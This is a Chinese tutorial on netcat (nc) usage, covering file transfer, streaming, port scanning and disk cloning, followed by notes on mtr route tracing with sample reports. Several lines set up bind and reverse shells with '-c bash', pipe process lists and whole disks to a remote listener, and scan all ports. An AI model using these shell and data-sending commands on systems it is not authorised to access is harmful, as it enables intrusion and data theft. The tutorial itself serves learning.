nc命令使用方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| * 将nc命令当telnet使用 语法: nc -nv IP PORT 例: mtr 202.106.0.20 # 使用mtr命令追踪一下路由 nc -nv 123.125.50.29 110 # -n表示不使用DNS解析(不建议在nc后使用域名);-v表示显示详细信息。连接163邮箱服务器。进入后可以使用一些命令,但识别的都是base64加密后的数据 base64 [email protected] # 输入base64命令后按回车,之后等待输入数据,输入完成后按回车再按Ctrl+d结束,就会产生一个base64编码后的数据 nc -vn 123.125.50.138 25 # 连接163的smtp服务器。 nc -vn 1.1.1.1 80 # 连接后都会提示端口的状态,如open表示打开状态 head / # 进入后,可以用head请求头信息
* 使用NC传输文本信息 A:nc -l -p 333 # -l(listen)表示要监听端口,-p指定端口号。这可以起到一个服务端的功能 B:nc -nv 1.1.1.1 333 # 连接后,这两台主机就可以聊天了。 # 这个功能不为聊天,实际是为电子取证所用
A:nc -l -p 333 B:ls -l | nc -nv 1.1.1.1 333 # 将本机ls -l显示的信息传到nc服务器上。这是远程电子审计的标准方法
A:nc -l -p 333 > ps.txt # 将结果重定向到一个文件中 B:ps aux|nc -nv 1.1.1.1 333 -q 1 # 收集进程信息。-q表示标准结果输出后,delay(延迟)一定时间就退出。1就是延迟的时间,表示1秒 A: cat ps.txt
A:nc -l -p 333 > lsof.txt B:lsof | nc -nv 1.1.1.1 333 -q 1 A: cat lsof.txt
* 使用NC传输文件/目录 ** 传输文件 A:nc -lp 333 > 1.mp4 # 接收端打开333端口,接收到的内容输入到一个文件名 B:nc -nv 1.1.1.1 333 < 1.mp4 -q 1 # 发送文件到接收端。在windows上使用上面的命令会报错,可能是安装的是netcat软件。需要使用下面命令 nc -w 1 1.1.1.1 333 < 1.mp4 或 A:nc -q 1 -lp 333 < a.mp4 # 从服务器向客户端收送文件,这就成了发送端。这像是一个下载的过程。连接完成后1秒断开 B:nc -nv 1.1.1.1 333 > 2.mp4 # 客户端成了接收端。
** 传输目录 A:tar -cvf - music/ | nc -lp 333 -q 1 # 打包目录,通过管道入到nc中。视频中强调,cvf后面的横线不能少,少了就不能打包成tar文件了。在 GNU 指令中,如果单独使用 - 符号,不加任何该加的文件名称时,代表"标准输入"的意思。这是 GNU指令的共通选项。如:tar xpvf -,这里的 - 符号,既代表从标准输入读取资料。不过,在 cd 指令中则比较特别,cd -,这代表变更工作目录到"上一次"工作目录。 B:nc -nv 1.1.1.1 333 |tar -xvf - # 连接到nc,将打包的目录解压到本地 # 也可以反方向传输。
** 加密传文件 A:nc -lp 333 | mcrypt --flush -Fbqd -a rijindael-256 -m ecb > 1.mp4 # A端先监听端口,等待别人给其传文件。收到文件后给后面的解密命令解密,之后重新输出一个文件。接收到文件后会提示输入密码 B:mcrypt --flush -Fbq -a rijindael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1 # 将加密文件转给A主机。两边的加密方式应该一致。加密时需要输入两次密码
* 使用NC做流媒体服务 A: cat 1.mp4 | nc -lp 333 # mp4文件也可以用cat打开 B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 - # mplayer是一个播放器,其他支持命令行的播放器也可以
* 使用NC做端口扫描 nc -nvz 1.1.1.1 1-65535 nc -nvzu 1.1.1.1 1-1024 # -z表示使用0输入/输出模式,只在扫描通信端口时使用。默认使用tcp端口,-u表示扫描udp的端口。每一个扫描器扫描的结果都不是完全准确的,可能被防火墙拦截。建议使用多个工具进行扫描
* 使用NC做远程克隆硬盘 A:nc -lp 333 | dd of=/dev/sda B:dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1 # 远程电子取证,可以将目标服务器硬盘远程复制,或者内存。这是块级别的备份。不会只拷贝文件,它会将磁盘扇区上的所有数据都拷贝过来。dd命令就是块级别的复制。if表示input file
* 使用NC做远程控制 ** 正向 A: nc -lp 333 -c bash B: nc -nv 1.1.1.1 333 # 客户端控制服务器。连接后可以使用bash命令
** 反向 A:nc -lp 333 B:nc -nv 1.1.1.1 333 -c bash # 服务器控制客户端
注:windows用户把bash改成cmd
* NC-NCAT NC缺乏加密和身份验证的能力 NCAT包含于nmap工具包中。NCAT与NC是不一样的 A:ncat -c bash --allow 1.1.1.1 -vnl 333 --ssl # --allow表示允许哪个IP地址来连接本服务器 B:ncat -nv 1.1.1.1 333 --ssl;监听的是333端口,--ssl表示ssl加密 # 不同系统/平台的NC参数功能不尽相同
|
mtr命令
mtr命令可以结合ping nslookup tracert 来判断网络的相关特性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| * 参数 mtr -r # 以报告模式显示
mtr -s # 用来指定ping数据包的大小
mtr -c # 设置每秒发送数据包的数量
mtr -n # no-dns不对IP地址做域名解析
mtr -a # 来设置发送数据包的IP地址 这个对一个主机由多个IP地址是有用的
mtr -i # 使用这个参数来设置ICMP返回之间的要求默认是1秒
mtr -4 # IPv4
mtr -6 # IPv6
ruopu@ruopu-PC:~$ mtr -r 202.108.33.94 Start: 2018-11-19T11:09:25+0800 HOST: ruopu-PC Loss% Snt Last Avg Best Wrst StDev 1.|-- _gateway 0.0% 10 0.3 0.4 0.3 0.5 0.1 2.|-- 106.38.38.81 0.0% 10 3.2 8.7 3.1 54.0 15.9 3.|-- 237.235.120.106.static.bj 10.0% 10 2.8 3.0 2.8 4.4 0.5 4.|-- 202.97.57.201 0.0% 10 3.3 3.4 3.2 3.8 0.2 5.|-- 202.97.88.246 60.0% 10 3.2 3.2 3.1 3.3 0.1 6.|-- 219.158.44.133 0.0% 10 10.7 8.2 3.5 12.7 2.7 7.|-- 219.158.3.77 0.0% 10 9.3 7.7 4.8 10.3 2.2 8.|-- 124.65.194.174 40.0% 10 3.5 3.6 3.4 3.7 0.1 9.|-- 61.148.143.30 0.0% 10 3.2 3.9 3.2 5.9 0.8 10.|-- 210.74.176.138 0.0% 10 3.5 4.1 3.1 8.6 1.6 11.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 # ruopu-PC一列显示的是IP地址或本机域名;Snt一列显示的是设置每秒发送数据包的数量,默认值是10,可以通过参数-c来指定。
ruopu@ruopu-PC:~$ mtr -r -c 15 202.108.33.94 Start: 2018-11-19T11:12:54+0800 HOST: ruopu-PC Loss% Snt Last Avg Best Wrst StDev 1.|-- _gateway 0.0% 15 0.4 0.4 0.3 0.5 0.1 2.|-- 106.38.38.81 0.0% 15 187.6 65.7 3.7 187.6 59.1 3.|-- 237.235.120.106.static.bj 0.0% 15 3.0 3.9 2.6 12.4 2.8 4.|-- 202.97.57.237 0.0% 15 4.4 6.5 4.0 14.6 3.0 5.|-- 202.97.57.114 0.0% 15 35.1 17.8 2.9 50.9 17.5 6.|-- 219.158.44.129 0.0% 15 12.5 7.9 3.3 20.7 4.4 7.|-- 219.158.3.77 0.0% 15 4.4 6.6 3.1 9.9 2.3 8.|-- 124.65.194.118 66.7% 15 3.9 12.1 3.7 43.0 17.3 9.|-- 61.148.143.22 0.0% 15 3.2 7.3 3.2 35.8 9.1 10.|-- 210.74.178.198 0.0% 15 3.9 4.2 3.5 10.8 1.8 11.|-- ??? 100.0 15 0.0 0.0 0.0 0.0 0.0 # HOST:ruopu-PC一列显示的是途经的IP地址或本机域名;Loss%列显示的是每个对应IP的丢包率,只有最后的目标丢包才算是真正的丢包;Snt一列显示的是设置每秒发送数据包的数量,默认值是10,可以通过参数-c来指定;Last列显示的是最近一次的返回时延,按毫秒计算;Avg列显示的是发送ping包的平均时延;Best烈显示的是最好或时延最短的;Wrst列显示的是最差或时延最长的;StDev列显示的是标准偏差。
ruopu@ruopu-PC:~$ sudo mtr -i 0.1 -n -c 100 202.108.33.94 # 对不标IP不做解析,ping100次,每0.1秒返回一次结果
ruopu@ruopu-PC:~$ mtr -r -n -c 30 -s 1024 www.baidu.com Start: 2018-11-19T11:28:06+0800 HOST: ruopu-PC Loss% Snt Last Avg Best Wrst StDev 1.|-- 192.168.0.1 0.0% 30 0.6 0.6 0.5 0.7 0.1 2.|-- 106.38.38.81 0.0% 30 16.8 56.8 11.6 160.8 36.0 3.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 4.|-- 220.181.0.234 83.3% 30 6.1 5.6 4.6 6.1 0.6 5.|-- 218.30.112.130 60.0% 30 5.0 5.7 4.9 10.3 1.6 6.|-- 180.149.128.138 26.7% 30 10.6 270.4 6.8 1008. 355.7 7.|-- 180.149.129.6 0.0% 30 5.3 5.8 4.7 16.9 2.8 8.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 9.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 10.|-- 180.149.132.151 0.0% 30 5.8 6.8 5.7 16.6 2.8
|